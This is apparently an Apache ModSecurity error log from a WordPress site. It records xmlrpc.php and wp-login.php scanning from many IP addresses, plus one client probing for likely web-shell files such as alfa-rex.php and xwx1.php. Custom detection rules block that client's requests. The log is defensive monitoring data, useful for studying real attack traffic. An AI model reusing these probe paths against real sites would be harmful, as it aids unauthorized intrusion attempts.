d=\\\\\\"M0,6V0h1000v100L0,6z\\\\\\"\\\\/>\\\\n<\\\\/svg>\\\\t\\\\t<\\\\/div>\\\\n\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-element elementor-element-31c634e elementor-widget elementor-widget-spacer\\\\\\" data-id...'
[Sun Dec 28 01:17:28.139281 2025] [:error] [pid 46654:tid 46708] [client 84.51.23.18:60304] [client 84.51.23.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.51.23.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVAUqKyyuBQW4Tqizy6EmAAAAFY"]
[Sun Dec 28 02:03:51.229946 2025] [:error] [pid 46655:tid 46719] [client 23.239.25.95:44068] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVAfhxJiIF9AF5FHxvCTsgAAAIY"]
[Sun Dec 28 02:51:46.050203 2025] [:error] [pid 46653:tid 46677] [client 135.235.137.93:53470] [client 135.235.137.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.235.137.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVAqwrj2DbiG6mG0UTP4aQAAABQ"]
[Sun Dec 28 03:20:01.603680 2025] [:error] [pid 20046:tid 20183] [client 160.30.160.240:36770] [client 160.30.160.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.30.160.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVAxYdwtxpj-8n9eEUz5DgAAAI4"]
[Sun Dec 28 03:31:33.061474 2025] [:error] [pid 26743:tid 26769] [client 5.39.65.19:47038] [client 5.39.65.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.39.65.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVA0FWwPnMydzIN9niTPUwAAABU"]
[Sun Dec 28 03:42:17.212684 2025] [:error] [pid 64138:tid 64193] [client 156.67.31.208:49094] [client 156.67.31.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.31.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVA2malIC-YayMdI7lt3OwAAAEk"]
[Sun Dec 28 04:20:22.018797 2025] [:error] [pid 42292:tid 42297] [client 212.56.47.186:34290] [client 212.56.47.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.56.47.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVA_hpyOrM_vaFx1osbCOAAAAAE"]
[Sun Dec 28 05:32:44.565382 2025] [:error] [pid 29388:tid 29416] [client 41.185.8.145:57058] [client 41.185.8.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.185.8.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBQfNoLv2L2zI_SpdVaiAAAAVQ"]
[Sun Dec 28 05:39:49.690921 2025] [:error] [pid 29437:tid 29478] [client 208.115.193.106:55566] [client 208.115.193.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.193.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVBSJRhDotAbVk6pZLcgoAAAAcw"]
[Sun Dec 28 05:39:51.882919 2025] [:error] [pid 29437:tid 29482] [client 208.115.193.106:55647] [client 208.115.193.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.193.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVBSJxhDotAbVk6pZLcgpwAAAdA"]
[Sun Dec 28 05:49:34.054450 2025] [:error] [pid 42292:tid 42305] [client 95.174.29.115:56022] [client 95.174.29.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.174.29.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBUbpyOrM_vaFx1osbUkwAAAAk"]
[Sun Dec 28 05:49:45.548192 2025] [autoindex:error] [pid 42378:tid 42389] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 28 05:49:47.004637 2025] [autoindex:error] [pid 42378:tid 42399] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 28 05:49:48.229072 2025] [autoindex:error] [pid 42378:tid 42395] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 28 05:49:48.369141 2025] [autoindex:error] [pid 42378:tid 42391] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 28 05:49:58.012666 2025] [:error] [pid 42378:tid 42394] [client 4.230.45.150:64485] [client 4.230.45.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.230.45.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aVBUhjgtcN-KHAjWrX-kZgAAAM4"], referer: https://www.yahoo.com/
[Sun Dec 28 05:50:06.129023 2025] [autoindex:error] [pid 42378:tid 42387] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 28 05:50:06.411180 2025] [autoindex:error] [pid 42378:tid 42396] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 28 05:50:09.277812 2025] [autoindex:error] [pid 42378:tid 42390] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 28 05:50:09.417994 2025] [autoindex:error] [pid 42378:tid 42393] [client 4.230.45.150:64485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 28 05:50:09.559368 2025] [:error] [pid 42378:tid 42402] [client 4.230.45.150:64485] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aVBUkTgtcN-KHAjWrX-kdQAAANY"], referer: https://www.google.com/
[Sun Dec 28 05:50:09.828066 2025] [:error] [pid 29437:tid 29470] [client 4.230.45.150:58135] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/alfa-rex.php"] [unique_id "aVBUkRhDotAbVk6pZLcihQAAAcQ"], referer: https://www.yahoo.com/
[Sun Dec 28 05:50:10.102425 2025] [autoindex:error] [pid 29437:tid 29474] [client 4.230.45.150:28208] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Cookie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 28 05:50:10.237034 2025] [:error] [pid 29437:tid 29482] [client 4.230.45.150:28208] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aVBUkhhDotAbVk6pZLcihwAAAdA"], referer: https://www.google.com/
[Sun Dec 28 05:50:10.511759 2025] [autoindex:error] [pid 29437:tid 29485] [client 4.230.45.150:35768] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Dec 28 05:50:10.646218 2025] [:error] [pid 29437:tid 29480] [client 4.230.45.150:35768] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aVBUkhhDotAbVk6pZLciiQAAAc4"], referer: https://www.google.de/
[Sun Dec 28 05:50:10.914951 2025] [:error] [pid 29436:tid 29455] [client 4.230.45.150:35737] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aVBUkrchzOOtNL9VPNJCowAAAZA"], referer: https://www.bing.com/
[Sun Dec 28 05:50:11.199112 2025] [:error] [pid 29388:tid 29410] [client 4.230.45.150:33249] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aVBUk9oLv2L2zI_SpdVdvgAAAU4"], referer: https://www.google.com/
[Sun Dec 28 05:50:11.475065 2025] [autoindex:error] [pid 29436:tid 29452] [client 4.230.45.150:24346] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 28 05:50:11.750269 2025] [:error] [pid 29436:tid 29441] [client 4.230.45.150:24346] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aVBUk7chzOOtNL9VPNJCpgAAAYI"], referer: https://www.google.fr/
[Sun Dec 28 05:50:12.041370 2025] [autoindex:error] [pid 29436:tid 29443] [client 4.230.45.150:36887] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Dec 28 05:50:12.176826 2025] [:error] [pid 29436:tid 29442] [client 4.230.45.150:36887] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVBUlLchzOOtNL9VPNJCqQAAAYM"], referer: https://www.google.de/
[Sun Dec 28 05:50:12.447534 2025] [:error] [pid 29388:tid 29420] [client 4.230.45.150:53885] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVBUlNoLv2L2zI_SpdVdwAAAAVg"], referer: https://www.google.fr/
[Sun Dec 28 05:50:12.718344 2025] [:error] [pid 42378:tid 42394] [client 4.230.45.150:59998] [client 4.230.45.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aVBUlDgtcN-KHAjWrX-kdwAAAM4"], referer: https://www.bing.com/
[Sun Dec 28 05:50:12.993272 2025] [autoindex:error] [pid 29388:tid 29406] [client 4.230.45.150:50876] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 28 05:50:14.720734 2025] [:error] [pid 29388:tid 29413] [client 4.230.45.150:50876] [client 4.230.45.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.230.45.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBUltoLv2L2zI_SpdVdxwAAAVE"], referer: https://www.google.co.uk/
[Sun Dec 28 06:31:14.917134 2025] [:error] [pid 29437:tid 29489] [client 5.129.215.121:44314] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.129.215.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBeMhhDotAbVk6pZLcqjgAAAdc"]
[Sun Dec 28 07:54:05.136873 2025] [:error] [pid 42293:tid 42328] [client 162.245.96.34:64477] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxncvc9B-5cwN385JE-AAAAEU"]
[Sun Dec 28 07:54:07.551438 2025] [:error] [pid 29388:tid 29413] [client 162.245.96.34:64529] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxn9oLv2L2zI_SpdVvwgAAAVE"]
[Sun Dec 28 07:54:09.664563 2025] [:error] [pid 29437:tid 29490] [client 162.245.96.34:64591] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxoRhDotAbVk6pZLc4-gAAAdg"]
[Sun Dec 28 07:54:11.835684 2025] [:error] [pid 42378:tid 42381] [client 162.245.96.34:64659] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxozgtcN-KHAjWrX-1fAAAAME"]
[Sun Dec 28 07:54:13.852896 2025] [:error] [pid 42378:tid 42386] [client 162.245.96.34:64691] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxpTgtcN-KHAjWrX-1gwAAAMY"]
[Sun Dec 28 07:54:15.883444 2025] [:error] [pid 42292:tid 42296] [client 162.245.96.34:64721] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxp5yOrM_vaFx1osbkPAAAAAA"]
[Sun Dec 28 07:54:15.883618 2025] [:error] [pid 42292:tid 42296] [client 162.245.96.34:64721] [client 162.245.96.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 162.245.96.34, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxp5yOrM_vaFx1osbkPAAAAAA"]
[Sun Dec 28 07:54:16.914100 2025] [:error] [pid 42378:tid 42394] [client 162.245.96.34:64740] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqDgtcN-KHAjWrX-1hAAAAM4"]
[Sun Dec 28 07:54:16.914242 2025] [:error] [pid 42378:tid 42394] [client 162.245.96.34:64740] [client 162.245.96.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 162.245.96.34, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqDgtcN-KHAjWrX-1hAAAAM4"]
[Sun Dec 28 07:54:17.914984 2025] [:error] [pid 29436:tid 29461] [client 162.245.96.34:64764] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqbchzOOtNL9VPNJXMQAAAZY"]
[Sun Dec 28 07:54:17.915120 2025] [:error] [pid 29436:tid 29461] [client 162.245.96.34:64764] [client 162.245.96.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 162.245.96.34, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqbchzOOtNL9VPNJXMQAAAZY"]
[Sun Dec 28 07:54:18.915494 2025] [:error] [pid 43789:tid 43811] [client 162.245.96.34:64792] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqga-tUppni4CcCbQBQAAARQ"]
[Sun Dec 28 07:54:18.915669 2025] [:error] [pid 43789:tid 43811] [client 162.245.96.34:64792] [client 162.245.96.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 162.245.96.34, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxqga-tUppni4CcCbQBQAAARQ"]
[Sun Dec 28 07:54:19.908928 2025] [:error] [pid 42293:tid 42336] [client 162.245.96.34:64824] [client 162.245.96.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.245.96.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxq8vc9B-5cwN385JE_wAAAE0"]
[Sun Dec 28 07:54:19.909069 2025] [:error] [pid 42293:tid 42336] [client 162.245.96.34:64824] [client 162.245.96.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 162.245.96.34, counter = 10"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBxq8vc9B-5cwN385JE_wAAAE0"]
[Sun Dec 28 07:59:25.963775 2025] [:error] [pid 43789:tid 43801] [client 34.151.198.67:59436] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.151.198.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVBy3Qa-tUppni4CcCbQqAAAAQo"]
[Sun Dec 28 09:27:33.063357 2025] [:error] [pid 29436:tid 29452] [client 138.201.120.30:56292] [client 138.201.120.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.120.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCHhbchzOOtNL9VPNJi3gAAAY0"]
[Sun Dec 28 10:08:54.216374 2025] [:error] [pid 29388:tid 29400] [client 188.34.161.164:55898] [client 188.34.161.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.161.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVCRNtoLv2L2zI_SpdV-RwAAAUQ"]
